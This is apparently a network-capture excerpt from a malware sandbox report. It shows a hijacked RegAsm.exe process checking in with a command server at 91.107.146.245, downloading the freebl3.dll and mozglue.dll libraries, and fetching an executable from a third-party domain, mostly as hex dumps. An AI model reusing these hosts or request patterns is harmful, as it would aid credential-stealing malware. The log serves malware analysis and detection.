2024-09-18 12:30:53 UTC	8000	IN	Data Raw: ba e3 ad 03 96 41 d8 39 4c 94 47 18 7d 69 ce 66 4a 4b 50 e4 6f aa 6f 76 c4 05 a4 f0 77 97 38 7a f9 10 1d 81 4c 0e fc b8 1d 83 54 53 62 f3 14 d6 48 10 e8 77 43 9f 70 4b 38 7c 47 2d 78 56 38 20 27 a7 cf 03 4a dc ee af 7e 9e 58 c9 b3 69 75 a0 c7 12 04 6e 38 06 20 99 e3 6c 6f b4 26 02 74 d1 6b e4 4c b6 b8 85 56 03 a3 a1 b4 e8 ee fe bd 41 07 fd c0 af f1 85 17 90 7e 3c 63 12 3c 14 10 3d 58 44 f3 b6 44 da 84 d9 ff 46 21 7c 49 c4 32 30 b5 19 16 90 4f 9b 42 91 2c ee 60 9a 92 93 bb 6d 70 f8 03 14 ea 94 ec b5 37 24 4f 53 95 84 40 02 cb 84 45 d4 9b 8f e8 a9 80 b4 72 40 5b 21 b2 b3 da 0e 19 4d 24 90 12 b1 57 67 5a 8a a1 57 f4 9a 5f a3 0e fc df 45 98 59 c4 dd 4d cd 8d de 68 a2 e3 11 6a 0a df 35 0f 47 d8 ce 7c 3d 2e 8b ff 7a c9 a0 07 a3 77 12 d5 6b c3 2a 67 68 d4 8f 9a Data Ascii: A9LG}ifJKPoovw8zLTSbHwCpK8\|G-xV8 'J~Xiun8 lo&tkLVA~<c<=XDDF!\|I20OB,`mp7$OS@Er@[!M$WgZW_EYMhj5G\|=.zwk*gh
2024-09-18 12:30:53 UTC	8000	IN	Data Raw: 63 67 12 43 46 93 cc 76 5d 41 05 c9 40 f5 e3 d7 5b 08 ca a5 58 f8 a5 9d 72 15 67 71 db d3 81 53 f7 6e 02 9e 32 0c ce f3 e1 60 ee 83 73 53 9b f6 37 d5 55 c1 10 a7 ec c5 ab 8c aa 30 54 67 98 9f 4d 88 19 e7 96 38 b0 01 7c bd 9f 63 db d1 37 ec 3d 21 e5 c1 30 ec 0b 77 54 81 ca 35 93 b1 09 8f 94 e2 6b e2 d1 3a 35 92 e0 e2 88 41 82 a7 d9 c0 c0 1c e6 10 61 2f dd 39 94 03 50 f8 8c 43 17 6e 45 1d ba ca f1 8b c7 8e b9 c0 8d 2f 39 d3 a4 eb b4 f6 5e c5 8c a5 b6 b1 9f 86 ec 9d e6 1c 6e 59 cb 36 e1 78 6e dc 0f 19 00 ba f1 63 07 e7 ae d3 8d 93 e7 c1 59 f0 b4 72 1e 38 a0 9a c4 c1 e6 24 35 38 8b 50 e1 90 91 61 ab f1 18 9e 76 bf 33 21 ec 33 9c fe 90 99 87 87 33 61 21 95 d5 52 7a 0e b2 66 f8 3b 3e 76 c2 e8 da f5 47 66 84 12 99 0a 6b 83 cc 46 56 27 f8 ce 36 8f 51 87 58 fe 5b Data Ascii: cgCFv]A@[XrgqSn2`sS7U0TgM8\|c7=!0wT5k:5Aa/9PCnE/9^nY6xncYr8$58Pav3!33a!Rzf;>vGfkFV'6QX[
2024-09-18 12:30:53 UTC	8000	IN	Data Raw: 60 c9 fb 78 e1 1e 6e 2a 43 b8 08 d5 64 cd 47 1d 1d f6 ad 75 7a ee f6 f7 e3 3c e5 af d2 0e e7 fe b4 e0 56 7f 6c 5b c1 75 63 19 d8 d9 eb 81 68 4b 12 27 02 51 48 b7 0b aa 5d 2c 80 cb 8f 0b de cb 2d 34 74 a4 a8 6a 87 81 20 dc a2 f6 16 68 46 fc 81 e1 f6 7e ce 49 69 d3 7c ec 6b 17 66 d6 e7 20 ae b4 0b 38 99 1a f2 11 b4 45 1a dd 6f 2d da 3c c4 26 46 38 cb f8 50 88 1b fa 47 93 6d 9f 3c 09 aa 77 b9 73 33 c3 88 87 1e d8 e6 22 8c e6 f4 5c e8 9b 7a 74 34 dd c6 0a 0e 5b 89 a0 45 d5 db f3 67 23 67 3a 77 4b e2 1d 15 79 68 a0 88 54 45 af 5d 80 1f f6 1e ba ad 47 12 68 a8 35 da 65 c3 9b c8 92 90 6e 90 db 04 69 11 fc 10 8f 22 94 21 50 dc d1 18 5d 8d 78 46 67 61 63 57 56 81 27 d2 ec f7 8b d2 c9 06 2e 84 4e 69 f8 3b 6a 05 e5 14 5b 6a bc f1 e0 b1 04 55 b1 a1 e2 ae 72 d5 63 7d Data Ascii: `xn*CdGuz<Vl[uchK'QH],-4tj hF~Ii\|kf 8Eo-<&F8PGm<ws3"\zt4[Eg#g:wKyhTE]Gh5eni"!P]xFgacWV'.Ni;j[jUrc}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49763	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:53 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDHJKFBGIIJJKFIJDBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:53 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 30 36 35 34 61 39 35 32 66 35 63 35 33 30 34 32 37 66 30 64 66 36 63 62 33 63 31 36 31 31 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 63 36 34 35 37 36 30 31 63 37 61 36 32 63 64 37 31 61 32 38 63 64 65 64 37 64 35 66 35 62 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="token"780654a952f5c530427f0df6cb3c1611------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="build_id"7c6457601c7a62cd71a28cded7d5f5be------IIDHJKFBGIIJJKFIJDBGCont
2024-09-18 12:30:54 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-18 12:30:54 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49767	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:54 UTC	245	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:54 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:54 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Wednesday, 18-Sep-2024 12:30:54 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-18 12:30:54 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-09-18 12:30:54 UTC	16384	IN	Data Raw: 0c ff ff ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-09-18 12:30:55 UTC	16384	IN	Data Raw: f2 c1 c2 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]w
2024-09-18 12:30:55 UTC	16384	IN	Data Raw: 8b 7d 08 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 Data Ascii: }00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-09-18 12:30:55 UTC	16384	IN	Data Raw: ee 0e 81 e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-09-18 12:30:55 UTC	16384	IN	Data Raw: 00 00 00 c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-09-18 12:30:55 UTC	16384	IN	Data Raw: c4 04 8d 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-09-18 12:30:55 UTC	16384	IN	Data Raw: 8b 7d 88 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff Data Ascii: }eUeLXee0@eeeue0UEeeUeee $
2024-09-18 12:30:55 UTC	16384	IN	Data Raw: 77 38 8b 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 Data Ascii: w8O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEE
2024-09-18 12:30:55 UTC	16384	IN	Data Raw: e8 1c c1 ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49770	167.114.163.236	443	2508	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:55 UTC	145	OUT	GET /vlsadg.exe HTTP/1.1 Host: innovaxingenieros.com Range: bytes=287969- If-Range: Wed, 18 Sep 2024 06:33:51 GMT Cache-Control: no-cache
2024-09-18 12:30:55 UTC	278	IN	HTTP/1.1 206 Partial Content Date: Wed, 18 Sep 2024 12:30:55 GMT Server: Apache Last-Modified: Wed, 18 Sep 2024 06:33:51 GMT Accept-Ranges: bytes Content-Length: 11967 Content-Range: bytes 287969-299935/299936 Connection: close Content-Type: application/x-msdownload
2024-09-18 12:30:55 UTC	7914	IN	Data Raw: 44 69 67 69 43 65 72 74 20 41 73 73 75 72 65 64 20 49 44 20 52 6f 6f 74 20 43 41 30 1e 17 0d 32 32 30 38 30 31 30 30 30 30 30 30 5a 17 0d 33 31 31 31 30 39 32 33 35 39 35 39 5a 30 62 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 15 30 13 06 03 55 04 0a 13 0c 44 69 67 69 43 65 72 74 20 49 6e 63 31 19 30 17 06 03 55 04 0b 13 10 77 77 77 2e 64 69 67 69 63 65 72 74 2e 63 6f 6d 31 21 30 1f 06 03 55 04 03 13 18 44 69 67 69 43 65 72 74 20 54 72 75 73 74 65 64 20 52 6f 6f 74 20 47 34 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 bf e6 90 73 68 de bb e4 5d 4a 3c 30 22 30 69 33 ec c2 a7 25 2e c9 21 3d f2 8a d8 59 c2 e1 29 a7 3d 58 ab 76 9a cd ae 7b 1b 84 0d c4 30 1f f3 1b a4 38 16 eb 56 c6 97 6d 1d ab b2 79 f2 ca 11 Data Ascii: DigiCert Assured ID Root CA0220801000000Z311109235959Z0b10UUS10UDigiCert Inc10Uwww.digicert.com1!0UDigiCert Trusted Root G40"0*H0sh]J<0"0i3%.!=Y)=Xv{08Vmy
2024-09-18 12:30:55 UTC	4053	IN	Data Raw: e9 59 90 c5 7c 83 35 11 65 51 30 82 05 13 30 82 03 fb a0 03 02 01 02 02 0c 58 da 13 ff 00 00 00 00 51 ce 0d f7 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 b4 31 14 30 12 06 03 55 04 0a 13 0b 45 6e 74 72 75 73 74 2e 6e 65 74 31 40 30 3e 06 03 55 04 0b 14 37 77 77 77 2e 65 6e 74 72 75 73 74 2e 6e 65 74 2f 43 50 53 5f 32 30 34 38 20 69 6e 63 6f 72 70 2e 20 62 79 20 72 65 66 2e 20 28 6c 69 6d 69 74 73 20 6c 69 61 62 2e 29 31 25 30 23 06 03 55 04 0b 13 1c 28 63 29 20 31 39 39 39 20 45 6e 74 72 75 73 74 2e 6e 65 74 20 4c 69 6d 69 74 65 64 31 33 30 31 06 03 55 04 03 13 2a 45 6e 74 72 75 73 74 2e 6e 65 74 20 43 65 72 74 69 66 69 63 61 74 69 6f 6e 20 41 75 74 68 6f 72 69 74 79 20 28 32 30 34 38 29 30 1e 17 0d 31 35 30 37 32 32 31 39 30 32 35 34 5a 17 0d 32 Data Ascii: Y\|5eQ00XQ0H010UEntrust.net1@0>U7www.entrust.net/CPS_2048 incorp. by ref. (limits liab.)1%0#U(c) 1999 Entrust.net Limited1301UEntrust.net Certification Authority (2048)0150722190254Z2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49772	91.107.146.245	443	5220	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:56 UTC	245	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 91.107.146.245 Connection: Keep-Alive Cache-Control: no-cache
2024-09-18 12:30:56 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:56 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Wednesday, 18-Sep-2024 12:30:56 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-18 12:30:56 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-09-18 12:30:56 UTC	16384	IN	Data Raw: 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNP
2024-09-18 12:30:56 UTC	16384	IN	Data Raw: ff ff 8b 45 a8 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 bd 05 00 00 50 e8 7a d3 01 00 83 c4 04 e9 e1 f9 ff ff 8b 45 90 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 b4 05 00 00 50 e8 57 d3 01 00 83 c4 04 e9 dc f9 ff ff 8b 85 78 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 a8 05 00 00 50 e8 31 d3 01 00 83 c4 04 e9 d4 f9 ff ff 8b 85 60 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 9c 05 00 00 50 e8 0b d3 01 00 83 c4 04 e9 d2 f9 ff ff 8b 85 48 ff ff ff 81 c1 01 f0 ff ff 81 f9 ff ef ff ff 0f 86 90 05 00 00 50 e8 e5 d2 01 00 83 c4 04 e9 d6 f9 ff ff 8b b5 24 ff ff ff 89 0e 8b 85 2c ff ff ff 89 46 04 8b 4d f0 31 e9 e8 52 27 03 00 89 f0 81 c4 d0 00 00 00 5e 5f 5b 5d c3 89 f1 89 fa ff b5 30 ff ff ff e9 30 f4 ff ff 89 f1 81 c6 4c ff ff ff 39 c8 74 63 8d 8d Data Ascii: 